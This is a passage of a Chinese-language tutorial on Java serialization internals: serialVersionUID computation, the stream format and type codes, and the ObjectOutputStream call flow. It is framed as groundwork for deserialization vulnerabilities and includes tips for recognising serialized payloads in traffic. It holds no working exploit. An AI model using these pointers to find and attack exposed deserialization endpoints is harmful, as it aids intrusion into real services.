Java 反序列化

sky123

Java 的序列化(Serialization)和反序列化(Deserialization)是将对象的状态转换为字节流并恢复的过程。这个过程使对象可以保存到文件、通过网络传输或保存到数据库中,并在稍后恢复成对象。

  • 序列化(Serialization):将 Java 对象的状态转换为字节流的过程。这使得对象可以保存到文件、发送到其他 JVM 甚至通过网络传输。
  • 反序列化(Deserialization):将字节流转换回 Java 对象的过程。这允许恢复先前序列化的对象状态。

序列化基础

基本用法

序列化对象

使用 ObjectOutputStream 将对象写入(writeObject 方法)到输出流(如文件输出流)。

1
2
3
4
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
byte[] data = byteArrayOutputStream.toByteArray()

反序列化对象

使用 ObjectInputStream 从输入流(如文件输入流)读取(readObject 方法)对象。

1
2
3
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object object = objectInputStream.readObject();

序列化接口

Serializable

要使 Java 对象可序列化,类必须实现 java.io.Serializable 接口。这个接口是一个标记接口(没有方法),它表明该类的对象可以被序列化

1
2
3
4
5
6
7
8
9
import java.io.Serializable;

public class Person implements Serializable {
private static final long serialVersionUID = 1L; // 用于版本控制
private String name;
private int age;

// Constructors, getters, and setters
}

注意

序列化对象时,会递归地序列化其引用的所有对象。因此,引用对象也必须是可序列化的,否则会抛出 NotSerializableException

在实现 Serializable 接口上,如果实现 writeObjectreadObject 方法,可以自定义序列化和反序列化的行为。通常精心构造的序列化对象和 readObject 的自定义操作结合就可以造成反序列化漏洞。

1
2
3
4
5
6
7
8
9
private void writeObject(ObjectOutputStream out) throws IOException {
out.defaultWriteObject(); // 默认序列化
// 额外的序列化逻辑
}

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject(); // 默认反序列化
// 额外的反序列化逻辑
}

defaultWriteObject() 的作用是让 JVM 自动把“非 transient、非 static、且在 serialPersistentFields(若定义)里的字段”写进流;对应地,defaultReadObject() 自动按同一布局读回。

有些类采用的是“完全自定义序列化”,即不调用 defaultWriteObject()defaultReadObject(),整个 writeObjectreadObject 的逻辑完全由自己实现。这样的话序列化时默认字段不会被自动写出;写什么、以什么顺序、什么替代形式,全由类自己控制。

Externalizable

ExternalizableSerializable 的子接口,它强制实现 writeExternalreadExternal 方法,提供完全控制序列化过程的能力。这对性能优化或定制序列化格式非常有用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import java.io.Externalizable;
import java.io.IOException;
import java.io.ObjectInput;
import java.io.ObjectOutput;

public class Person implements Externalizable {
private String name;
private int age;

// 必须有无参数构造函数
public Person() {}

public Person(String name, int age) {
this.name = name;
this.age = age;
}

@Override
public void writeExternal(ObjectOutput out) throws IOException {
out.writeObject(name);
out.writeInt(age);
}

@Override
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
name = (String) in.readObject();
age = in.readInt();
}
}

序列化相关属性

serialVersionUID

每个可序列化类建议定义一个 serialVersionUID 字段,用于版本控制。不同的 serialVersionUID 表示类的不同版本,如果序列化和反序列化的版本不匹配会抛出 InvalidClassException

类中声明 SerialVersionUID

如果在反序列化的类中显式声明了 serialVersionUID(修饰符同时包含 staticfinal 且字段类型为 long):

1
private static final long serialVersionUID = 1L;

每个可序列化的类都有“自己的” ObjectStreamClass(类描述符)对象,在 ObjectStreamClass 构造初始化时有如下调用栈:

1
2
3
4
5
6
7
8
9
10
at java.io.ObjectStreamClass.getDeclaredSUID(ObjectStreamClass.java:1857)
at java.io.ObjectStreamClass.access$700(ObjectStreamClass.java:79)
at java.io.ObjectStreamClass$3.run(ObjectStreamClass.java:506)
at java.io.ObjectStreamClass$3.run(ObjectStreamClass.java:494)
at java.security.AccessController.doPrivileged(AccessController.java:-1)
at java.io.ObjectStreamClass.<init>(ObjectStreamClass.java:494)
at java.io.ObjectStreamClass.lookup(ObjectStreamClass.java:391)
at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1134)
at java.io.ObjectOutputStream.writeObject(ObjectOutputStream.java:348)
at Main.main(Main.java:56)

其中 getDeclaredSUID 函数会尝试获取类中声明的 serialVersionUID

因为 ObjectStreamClass 就是“序列化里用的类描述符”。序列化/反序列化要先拿到这个“类描述符”,在构建(初始化)它的时候就把所有元数据一次性确定并缓存——包括到底用显式声明的 serialVersionUID,还是回退计算默认 SUID

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/**
* 返回给定类“显式声明”的 serialVersionUID 值;若没有(或不合规)则返回 null。
*/
private static Long getDeclaredSUID(Class<?> cl) {
try {
// 1) 反射查找名为 "serialVersionUID" 的字段(只在本类声明中找)
Field f = cl.getDeclaredField("serialVersionUID");

// 2) 要求修饰符同时包含 static 和 final
int mask = Modifier.STATIC | Modifier.FINAL;
if ((f.getModifiers() & mask) == mask) {
// 3) 绕过可见性限制读取字段
f.setAccessible(true);

// 4) 读取字段的 long 值(static 字段传 null)
// ⚠ 若字段类型不是 long,会在此抛异常,被 catch 吃掉,最终返回 null
return Long.valueOf(f.getLong(null));
}
} catch (Exception ex) {
// 找不到字段/不是 long/权限问题等 → 一律视为“未声明”
}
return null;
}

动态计算 SerialVersionUID

对于第二种情况,调用 ObjectOutputStream#writeObject(o) 后有如下调用栈:

1
2
3
4
5
6
7
8
9
at java.io.ObjectStreamClass.getSerialVersionUID(ObjectStreamClass.java:271)
at java.io.ObjectStreamClass.writeNonProxy(ObjectStreamClass.java:819)
at java.io.ObjectOutputStream.writeClassDescriptor(ObjectOutputStream.java:668)
at java.io.ObjectOutputStream.writeNonProxyDesc(ObjectOutputStream.java:1282)
at java.io.ObjectOutputStream.writeClassDesc(ObjectOutputStream.java:1231)
at java.io.ObjectOutputStream.writeOrdinaryObject(ObjectOutputStream.java:1427)
at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1178)
at java.io.ObjectOutputStream.writeObject(ObjectOutputStream.java:348)
at Main.main(Main.java:56)

其中 writeNonProxy 会通过 getSerialVersionUID 函数获取类的 serialVersionUID 值写入序列化数据:

1
2
3
4
5
6
7
8
9
// 写“非代理类”的类描述符(class descriptor)基础信息到对象输出流。
// 注意:这是序列化“类信息”的一部分,不是写具体对象实例字段。
void writeNonProxy(ObjectOutputStream out) throws IOException {
// 1) 写入类名(内部/二进制名称,例:java.lang.String)
out.writeUTF(name);

// 2) 写入该类的 serialVersionUID(版本戳,决定反序列化兼容性)
out.writeLong(getSerialVersionUID()); // 后面源码还会继续写 flags、字段列表、注解数据、父类描述符等
}

getSerialVersionUID 会判断 suid 属性是否为空,如果 suid 为空说明前期创建当前类对应的 ObjectStreamClass 时没有获取到类定义的 serialVersionUID 的值,那么此时会调用 computeDefaultSUID 计算一个值返回。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/**
* 返回该类的 serialVersionUID。
* serialVersionUID 用来标识一组“同名且自共同祖先演进而来”的类,它们约定使用相同的
* 序列化/反序列化格式。若类未实现 Serializable,则其 serialVersionUID 规定为 0L。
*/
public long getSerialVersionUID() {
if (suid == null) {
// 懒加载 + 缓存:首次计算默认的 SUID,并缓存到 suid 变量里
suid = AccessController.doPrivileged(
new PrivilegedAction<Long>() {
public Long run() {
// 依据“默认算法”计算(见《Java Object Serialization Spec §4.6》):
// 以类 cl 的名称、修饰符、实现的接口、字段和方法签名等信息为输入,
// 计算 SHA-1 摘要并取前 64 位作为 long 返回。
return computeDefaultSUID(cl);
}
}
);
}
return suid.longValue();
}

computeDefaultSUID 的计算输入包含:类名、修饰符、(非数组类的)接口名(排序)、字段(筛选后按名排序)、是否有 <clinit>、非私有构造器(按签名排序)、非私有方法(按名与签名排序);最终对字节做 SHA-1,取前 8 字节组装成 long

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
/**
* 计算“给定类”的默认 serialVersionUID(当类未显式声明 serialVersionUID 时使用)。
*/
private static long computeDefaultSUID(Class<?> cl) {
// 1) 非可序列化类 或 JDK 动态代理类:按规范默认返回 0L
if (!Serializable.class.isAssignableFrom(cl) || Proxy.isProxyClass(cl)) {
return 0L;
}

try {
// 2) 用一个内存数据流收集“类签名信息”,稍后对其做 SHA 摘要并取前 64 位作为 SUID
ByteArrayOutputStream bout = new ByteArrayOutputStream();
DataOutputStream dout = new DataOutputStream(bout);

// 2.1 写入“类的全限定名”
dout.writeUTF(cl.getName());

// 2.2 写入“类修饰符”(只保留这几位)
int classMods = cl.getModifiers() &
(Modifier.PUBLIC | Modifier.FINAL | Modifier.INTERFACE | Modifier.ABSTRACT);

/*
* 兼容早期 javac 的一个行为差异:
* 过去只有当接口声明了方法时才会把 ABSTRACT 位置位。
* 这里做个补偿:如果是接口且 methods.length>0,则强制带 ABSTRACT;否则清掉 ABSTRACT。
*/
Method[] methods = cl.getDeclaredMethods();
if ((classMods & Modifier.INTERFACE) != 0) {
classMods = (methods.length > 0)
? (classMods | Modifier.ABSTRACT)
: (classMods & ~Modifier.ABSTRACT);
}
dout.writeInt(classMods);

if (!cl.isArray()) {
/*
* 兼容 JDK 1.2 FCS 的变更:从那时起,数组类型的 Class.getInterfaces()
* 会返回 Cloneable 和 Serializable。这里对“非数组类”才写接口信息。
*/
Class<?>[] interfaces = cl.getInterfaces();
String[] ifaceNames = new String[interfaces.length];
for (int i = 0; i < interfaces.length; i++) {
ifaceNames[i] = interfaces[i].getName();
}
// 接口名按字典序排序后逐个写入
Arrays.sort(ifaceNames);
for (int i = 0; i < ifaceNames.length; i++) {
dout.writeUTF(ifaceNames[i]);
}
}

// 2.3 处理“字段签名”
Field[] fields = cl.getDeclaredFields();
MemberSignature[] fieldSigs = new MemberSignature[fields.length];
for (int i = 0; i < fields.length; i++) {
fieldSigs[i] = new MemberSignature(fields[i]);
}
// 字段按“字段名”字典序排序
Arrays.sort(fieldSigs, new Comparator<MemberSignature>() {
public int compare(MemberSignature ms1, MemberSignature ms2) {
return ms1.name.compareTo(ms2.name);
}
});
for (int i = 0; i < fieldSigs.length; i++) {
MemberSignature sig = fieldSigs[i];
int mods = sig.member.getModifiers() &
(Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |
Modifier.STATIC | Modifier.FINAL | Modifier.VOLATILE |
Modifier.TRANSIENT);
/*
* 仅在以下情况下写入字段签名:
* - 不是 private,或
* - 虽是 private,但既不是 static 也不是 transient(即“私有实例字段”)
* 换言之:“private static 字段”和“private transient 字段”不参与计算。
*/
if (((mods & Modifier.PRIVATE) == 0) ||
((mods & (Modifier.STATIC | Modifier.TRANSIENT)) == 0)) {
dout.writeUTF(sig.name);
dout.writeInt(mods);
dout.writeUTF(sig.signature);
}
}

// 2.4 若类存在静态初始化块(<clinit>),也要写入一个伪方法签名
if (hasStaticInitializer(cl)) {
dout.writeUTF("<clinit>");
dout.writeInt(Modifier.STATIC);
dout.writeUTF("()V"); // 方法签名:无参、void 返回
}

// 2.5 处理“构造器签名”
Constructor<?>[] cons = cl.getDeclaredConstructors();
MemberSignature[] consSigs = new MemberSignature[cons.length];
for (int i = 0; i < cons.length; i++) {
consSigs[i] = new MemberSignature(cons[i]);
}
// 构造器按“签名字符串”排序
Arrays.sort(consSigs, new Comparator<MemberSignature>() {
public int compare(MemberSignature ms1, MemberSignature ms2) {
return ms1.signature.compareTo(ms2.signature);
}
});
for (int i = 0; i < consSigs.length; i++) {
MemberSignature sig = consSigs[i];
int mods = sig.member.getModifiers() &
(Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |
Modifier.STATIC | Modifier.FINAL |
Modifier.SYNCHRONIZED | Modifier.NATIVE |
Modifier.ABSTRACT | Modifier.STRICT);
// 仅写“非 private 构造器”的签名信息
if ((mods & Modifier.PRIVATE) == 0) {
dout.writeUTF("<init>");
dout.writeInt(mods);
// 签名里的类型分隔符由 '/' 换成 '.'(内部名 -> 外部名)
dout.writeUTF(sig.signature.replace('/', '.'));
}
}

// 2.6 处理“普通方法签名”
MemberSignature[] methSigs = new MemberSignature[methods.length];
for (int i = 0; i < methods.length; i++) {
methSigs[i] = new MemberSignature(methods[i]);
}
// 方法按“方法名”排序;若同名再按“方法签名”排序
Arrays.sort(methSigs, new Comparator<MemberSignature>() {
public int compare(MemberSignature ms1, MemberSignature ms2) {
int comp = ms1.name.compareTo(ms2.name);
if (comp == 0) {
comp = ms1.signature.compareTo(ms2.signature);
}
return comp;
}
});
for (int i = 0; i < methSigs.length; i++) {
MemberSignature sig = methSigs[i];
int mods = sig.member.getModifiers() &
(Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |
Modifier.STATIC | Modifier.FINAL |
Modifier.SYNCHRONIZED | Modifier.NATIVE |
Modifier.ABSTRACT | Modifier.STRICT);
// 仅写“非 private 方法”的签名信息
if ((mods & Modifier.PRIVATE) == 0) {
dout.writeUTF(sig.name);
dout.writeInt(mods);
dout.writeUTF(sig.signature.replace('/', '.'));
}
}

// 2.x 刷流,准备取出“签名字节”
dout.flush();

// 3) 对收集到的“类签名字节”做 SHA 摘要(JDK 的 "SHA" 实际指 SHA-1)
MessageDigest md = MessageDigest.getInstance("SHA");
byte[] hashBytes = md.digest(bout.toByteArray());

// 4) 取摘要的前 64 位作为 long(注意这里从高位字节开始拼接,等价于取低端的 8 字节反向组装)
long hash = 0;
for (int i = Math.min(hashBytes.length, 8) - 1; i >= 0; i--) {
hash = (hash << 8) | (hashBytes[i] & 0xFF);
}
return hash;

} catch (IOException ex) {
// 内部 I/O 不应出错,若出错转为 Error
throw new InternalError(ex);
} catch (NoSuchAlgorithmException ex) {
// 理论上 "SHA" 必然存在;若不存在抛安全异常
throw new SecurityException(ex.getMessage());
}
}

我们同样可以反射调用 computeDefaultSUID 来计算指定类的 SerialVersionUID

1
2
3
4
5
Class<?> clazz = Class.forName("java.io.ObjectStreamClass");
Method method = clazz.getDeclaredMethod("computeDefaultSUID", Class.class);
method.setAccessible(true);
Object suid = method.invoke(null, MyClass.class);
System.out.println(suid);

transient 关键字

transient 是 Java 的字段级关键字,表示“此字段不参与默认序列化”。换句话说:当你用 ObjectOutputStream.writeObject(obj) 序列化一个对象时,标了 transient 的字段会被 defaultWriteObject() 跳过;反序列化时,这些字段会被置为默认值(对象为 nullint0booleanfalse 等)。

1
private transient String password; // 密码不会被序列化

静态字段

静态字段(static)默认不参与 Java 的对象序列化。因为序列化的是“对象实例状态”static 属于类级别状态(所有实例共享),不属于某个对象本身。

虽然 static不序列化,但某些 static 字段(非 private)“名称/修饰符/类型签名”会参与默认 serialVersionUID 的计算。改动这类 static 字段的签名或修饰符可能导致默认 SUID 变化,从而引发兼容性问题;但这与“字段值是否被序列化”是两回事。

序列化数据结构

当我们将一个对象(如 new Person(20, "Bob"))进行 Java 原生序列化(ObjectOutputStream),其输出的数据结构是严格遵守 Java Object Serialization Specification 的格式,包含:

  • 顶层流结构(Stream Header)
  • 若干记录(Record),按写入顺序序列化
  • 每个记录前有类型码(type code),表明后续数据的含义
  • 所有对象均带有类描述符、字段值、以及引用句柄机制
1
2
3
4
class Person implements Serializable {
int age;
String name;
}

写入 new Person(20, "Bob") 时的结构(示意):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
AC ED 00 05                               // header
73 TC_OBJECT
72 TC_CLASSDESC
"com.example.Person" UTF
<suid: 8 bytes> long
<flags: SC_SERIALIZABLE> byte
00 02 fieldCount = 2
'I' "age" 原始字段
'L' "name" "Ljava/lang/String;" 对象字段
78 TC_ENDBLOCKDATA(类注解块结束,通常为空)
70 TC_NULL(super desc of Object)
// classdata for Person(默认字段,无 ENDBLOCKDATA)
00 00 00 14 age = 20
74 TC_STRING
"Bob" UTF

提示

可以通过 SerializationDumper 将序列化数据转换成方便阅读的形式:

1
java -jar SerializationDumper-v1.14.jar -r payload.bin

顶层结构

通常序列化数据前面会有一个固定的字段作为魔数,标识这是一段 Java 对象的序列化数据:

1
2
STREAM_MAGIC  STREAM_VERSION  Record*
AC ED 00 05 ...
  • STREAM_MAGICAC ED
  • STREAM_VERSION00 05
  • Record*:后面紧跟一个或多个记录(对象、类描述符、字符串、数组、引用、块数据、异常等),顺序完全由写端决定

提示

我们可以通过这个魔数来识别序列化数据,下面是一些常见编码下的特征:

  • 原始序列:AC ED 00 05

  • Base64:rO0

  • zip 格式:PK*

  • zip+base64:UE*

  • gzip+base64:H4s*

有时候我们也可以通过 HTTP 请求头来确定数据类型是序列化数据,例如:

1
Content-type: application/x-java-serialized-object

类型码

在序列化数据中,一个字段是由类型码开始的。类型码描述当前位置后续数据对应什么类型,Java 反序列化时会根据这个字段决定选择进入什么分支对后续数据进行反序列化。

码值 名称 含义(下一步…)
0x70 TC_NULL 空引用
0x71 TC_REFERENCE 句柄回引:后跟 4 字节句柄(wire handle)
0x72 TC_CLASSDESC 普通类的类描述符
0x73 TC_OBJECT 对象本体
0x74 TC_STRING 短字符串
0x7C TC_LONGSTRING 长字符串
0x75 TC_ARRAY 数组
0x76 TC_CLASS java.lang.Class 对象
0x77 TC_BLOCKDATA 块数据(长度 1 字节)
0x7A TC_BLOCKDATALONG 块数据(长度 4 字节)
0x78 TC_ENDBLOCKDATA 块数据/自定义数据结束
0x79 TC_RESET 句柄表重置
0x7B TC_EXCEPTION 写端抛出的致命异常对象
0x7D TC_PROXYCLASSDESC 代理类的类描述符
0x7E TC_ENUM 枚举常量

句柄(handle):每个“首次出现”的对象/字符串/数组/类描述符/类对象都会被分配一个句柄。后续重复出现,用 TC_REFERENCE + (base+下标) 回指。

例如:若之后再次写入同一个 String 实例 "Bob"(同一对象,不是同值新对象),就会出现:

1
71 00 7E 00 03   // TC_REFERENCE + 0x7E0003(示意)

wire handle 计算wire = 0x7E0000 + localIndex;读端用 wire - 0x7E0000 找回本地句柄表的下标。

对象类型:TC_OBJECT

在众多类型中,对象类型是最重要的,该类型码后续的结构如下:

1
2
3
TC_OBJECT
classDesc // 可以是 TC_CLASSDESC / TC_PROXYCLASSDESC / TC_REFERENCE
classdata // 按“父类 → 子类”的层级逐层写

类描述符(Class Descriptor)

普通类:TC_CLASSDESC

1
2
3
4
5
6
7
8
TC_CLASSDESC
UTF className
long serialVersionUID
byte flags // 是否 Serializable / Externalizable / ENUM / 有 writeObject / 是否 block-data 等
short fieldCount
[ fieldDesc * fieldCount ]
classAnnotations // Block-Data(可选,可能为空),以 TC_ENDBLOCKDATA 结尾
superClassDesc // 父类的类描述符(递归;到 Object 为 TC_NULL)

其中 flags 常量有如下标志位:

标志 语义
SC_WRITE_METHOD 0x01 定义了 private void writeObject(ObjectOutputStream)(⇒ 该层有“自定义区”,读完需见 TC_ENDBLOCKDATA
SC_SERIALIZABLE 0x02 implements Serializable
SC_EXTERNALIZABLE 0x04 implements Externalizable(与上一个互斥)
SC_BLOCK_DATA 0x08 Externalizable 在 v2 协议下使用块数据包裹
SC_ENUM 0x10 枚举类型(SUID 必须为 0;字段数为 0)

字段描述 fieldDesc 结构为:

1
2
3
byte typeCode               // 'B','C','D','F','I','J','S','Z','L','['
UTF fieldName
[ UTF typeString ] // 仅当 typeCode 为 'L'(对象) 或 '['(数组) 时存在,形如 "Ljava/lang/String;"、"[I"

注意

是否有 readObject(..) 并不写在描述符里;写端仅通过 flags 标出“有 writeObject(..)”(意味着该层会出现自定义 block-data)。读端会反射检测 readObject(..) 并调用。

代理类:TC_PROXYCLASSDESC

1
2
3
4
5
TC_PROXYCLASSDESC
int interfaceCount
UTF interfaceName[interfaceCount]
classAnnotations // Block-Data(可选),以 TC_ENDBLOCKDATA 结尾
superClassDesc

读端会通过 resolveProxyClass(String[]):按规则选 ClassLoader,Class.forName 加载接口,检查非 public 接口的类加载器必须一致,最终 Proxy.getProxyClass(loader, ifaces) 生成代理类。

classdata(对象实例数据)

classdata 的每一层(某个可序列化类)有两种路径

  • Externalizableflags 指示):
    • v2 协议下以 Block-Data 包裹对象的 writeExternal 输出,末尾写 TC_ENDBLOCKDATA
    • 读端调用 readExternal,读完后用 skipCustomData() 吞掉剩余块直至 TC_ENDBLOCKDATA
  • Serializable
    • **有 writeObject(..)**:写端进入 Block-Data,由自定义方法写“自定义区”(里面可以调用 defaultWriteObject() 写默认字段,也可以再写对象/块);结束后写 TC_ENDBLOCKDATA。读端进入块模式调用 readObject(..),完了后用 TC_ENDBLOCKDATA 收尾(skipCustomData() 兜底)。
    • writeObject(..)默认字段序列化(不包 TC_ENDBLOCKDATA
      • 先按顺序写所有原始类型字段的字节;
      • 再写所有对象/数组字段,每个字段的值本身是一个“值记录”:TC_NULL / TC_REFERENCE / TC_OBJECT / TC_STRING / TC_ARRAY / …
      • 因为字段个数在类描述符里已知,所以不需要额外结束标记。

序列化过程分析

通常我们通过下面这个过程将对象序列化:

1
2
3
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);

序列化过程如下:

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
new ObjectOutputStream(out)
├─ verifySubclass()
├─ bout = new BlockDataOutputStream(out)
├─ handles = new HandleTable(...), subs = new ReplaceTable(...)
├─ enableOverride = false
├─ writeStreamHeader() → STREAM_MAGIC, STREAM_VERSION
└─ bout.setBlockDataMode(true) // 进入“块数据模式”(后续会在需要时临时切换)

writeObject(obj)
├─ if (enableOverride) → writeObjectOverride(obj) → return
└─ try → writeObject0(obj, /*unshared=*/false)
└─ catch(IOException ex)
├─ if (depth==0) → writeFatalException(ex) // 最外层写致命异常块
└─ rethrow

writeObject0(obj, unshared)
├─ old = bout.setBlockDataMode(false) // 切到“非块模式”写结构化标记
├─ depth++
├─ obj = subs.lookup(obj) // 替换表命中则直接替换
├─ 快速分支:
│ ├─ obj == null → writeByte(TC_NULL) → finally
│ ├─ !unshared && handles.lookup(obj) != -1
│ │ └─ writeByte(TC_REFERENCE) + writeInt(0x7E0000 + handle) → finally
│ ├─ obj instanceof Class → writeClass((Class)obj, unshared) → finally
│ └─ obj instanceof ObjectStreamClass → writeClassDesc((OSC)obj, unshared) → finally
├─ 替换链:
│ ├─ orig = obj
│ ├─ while (desc.hasWriteReplace()) obj = desc.invokeWriteReplace(obj)
│ ├─ if (enableReplace) obj = replaceObject(obj)
│ └─ if (obj != orig) {
│ subs.assign(orig, obj) // 记录 A→B 稳定替换
// 再跑一遍“快速分支”(null / reference / Class / OSC)
│ }
├─ 类型分派:
│ ├─ String → writeString(str, unshared) // TC_STRING/TC_LONGSTRING + UTF
│ ├─ Array → writeArray(arr, desc, unshared)
│ ├─ Enum → writeEnum(e, desc, unshared) // TC_ENUM + 类型描述 + 常量名
│ └─ Serializable→ writeOrdinaryObject(obj, desc, unshared)
└─ finally
├─ depth--
└─ bout.setBlockDataMode(old) // 恢复进入前的模式

writeOrdinaryObject(obj, desc, unshared)
├─ desc.checkSerialize()
├─ writeByte(TC_OBJECT)
├─ writeClassDesc(desc, /*unshared=*/false)
│ ├─ if (desc == null) → writeByte(TC_NULL)
│ ├─ else if (handles.lookup(desc) != -1 && 允许共享)
│ │ └─ writeByte(TC_REFERENCE) + writeInt(0x7E0000 + handle)
│ ├─ else if (desc.isProxy())
│ │ └─ writeProxyDesc(desc, unshared)
│ │ ├─ writeByte(TC_PROXYCLASSDESC)
│ │ ├─ handles.assign(unshared ? null : desc)
│ │ ├─ writeInt(接口数) + 逐个 writeUTF(接口名)
│ │ ├─ bout.setBlockDataMode(true) → annotateProxyClass(...) → setBlockDataMode(false)
│ │ ├─ writeByte(TC_ENDBLOCKDATA)
│ │ └─ writeClassDesc(desc.getSuperDesc(), false)
│ └─ else
│ └─ writeNonProxyDesc(desc, unshared)
│ ├─ writeByte(TC_CLASSDESC)
│ ├─ handles.assign(unshared ? null : desc)
│ ├─ if (protocol==V1) desc.writeNonProxy(this) else writeClassDescriptor(desc)
│ ├─ bout.setBlockDataMode(true) → annotateClass(...) → setBlockDataMode(false)
│ ├─ writeByte(TC_ENDBLOCKDATA)
│ └─ writeClassDesc(desc.getSuperDesc(), false)
├─ handles.assign(unshared ? null : obj) // 为实例分配句柄;unshared=占位但不登记
└─ if (desc.isExternalizable() && !desc.isProxy())
└─ writeExternalData((Externalizable)obj)
├─ 保存并清空 [curPut, curContext] // 禁止 defaultWriteObject/putFields 误用
├─ if (protocol==V1) obj.writeExternal(this)
├─ else
│ ├─ bout.setBlockDataMode(true) → obj.writeExternal(this)
│ ├─ bout.setBlockDataMode(false)
│ └─ writeByte(TC_ENDBLOCKDATA)
└─ 恢复 [curPut, curContext]
else
└─ writeSerialData(obj, desc) // 父 → 子
└─ for (slotDesc : desc.getClassDataLayout())
├─ if (slotDesc.hasWriteObjectMethod())
│ ├─ 保存并清空 [curPut], 切换 curContext=new SerialCallbackContext(...)
│ ├─ bout.setBlockDataMode(true) → slotDesc.invokeWriteObject(obj, this)
│ ├─ bout.setBlockDataMode(false) → writeByte(TC_ENDBLOCKDATA)
│ └─ 恢复 [curPut, curContext]
└─ else
└─ defaultWriteFields(obj, slotDesc)
├─ slotDesc.checkDefaultSerialize()
├─ primSize = slotDesc.getPrimDataSize()
├─ primVals = pack primitive 字段字节
├─ bout.write(primVals, 0, primSize, false) // 纯字节,不写 ENDBLOCK
└─ 写对象/数组字段:
└─ objVals = slotDesc.getObjFieldValues(obj)
└─ for (i=0..)
└─ writeObject0(objVals[i], slotDesc.getFields(false)[base+i].isUnshared())

writeString(str, unshared)
├─ handles.assign(unshared ? null : str)
├─ utflen = bout.getUTFLength(str)
├─ if (utflen <= 0xFFFF)
│ └─ writeByte(TC_STRING) → bout.writeUTF(str, utflen)
└─ else
└─ writeByte(TC_LONGSTRING) → bout.writeLongUTF(str, utflen)

writeArray(arr, desc, unshared)
├─ writeByte(TC_ARRAY)
├─ writeClassDesc(desc, false)
├─ handles.assign(unshared ? null : arr)
├─ writeInt(length)
├─ if (原始类型数组) → 连续写元素原始字节(必要时临时 blk=ON 以聚合)
└─ else(对象数组) → for (elem : arr) writeObject0(elem, /*字段级unshared?*/false)

writeEnum(e, desc, unshared)
├─ writeByte(TC_ENUM)
├─ writeClassDesc(desc, false)
└─ writeString(e.name(), false)

ObjectOutputStream 对象

其中负责序列化的 ObjectOutputStream 是一个实现了 ObjectOutput 接口的 OutputStream 的子类,定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
/**
* ObjectOutputStream 能把 Java 的原始数据类型以及**对象图**写入到一个 OutputStream 中;
* 之后可由 ObjectInputStream 读取并“复原(reconstitute)”这些对象。
* 若底层是文件流即可实现**持久化存储**;若底层是网络 Socket 流,则对象可在**另一进程/主机**上被复原。
*
* <p>只有实现了 {@link java.io.Serializable} 接口的对象才能被写入该流。
* 对每个可序列化对象,序列化数据会包含:类名与类签名、对象字段与数组的值,以及
* 由初始对象**可达的所有对象**(对象闭包,形成完整对象图)。
*
* <p>使用 {@link #writeObject(Object)} 将对象写入流。任何对象(包括 String 与数组)
* 都通过此方法写出;也可以在一个流里连续写出多个对象或原始类型。
* **读取方必须以相同的类型与顺序**,用对应的 ObjectInputStream 读回这些数据。
*
* <p>原始数据类型也可通过 {@link java.io.DataOutput} 的相应方法写出;
* 字符串还可以用 {@link #writeUTF(String)} 写出。
*
* <p>对象的**默认序列化机制**会写出:对象所属类、类签名,以及所有**非 transient 且非 static**
* 字段的取值。对其它对象的引用(不含 transient/static 字段中的引用)也会被写出。
* 对**同一个对象的多次引用**会用**引用共享机制**(句柄)编码,以便在反序列化时恢复出与原始对象图
* **形状一致**的共享与环状关系。
*
* <p>示例(与 ObjectInputStream 示例配套):
* <br>
* <pre>
* FileOutputStream fos = new FileOutputStream("t.tmp");
* ObjectOutputStream oos = new ObjectOutputStream(fos);
*
* oos.writeInt(12345);
* oos.writeObject("Today");
* oos.writeObject(new Date());
*
* oos.close();
* </pre>
*
* <p>在序列化/反序列化过程中需要特殊处理的类,必须**精确签名**地实现如下专有方法:
* <br>
* <pre>
* private void readObject(java.io.ObjectInputStream stream)
* throws IOException, ClassNotFoundException;
* private void writeObject(java.io.ObjectOutputStream stream)
* throws IOException;
* private void readObjectNoData()
* throws ObjectStreamException;
* </pre>
*
* <p>{@code writeObject} 方法负责写出该类自己那一部分的对象状态,
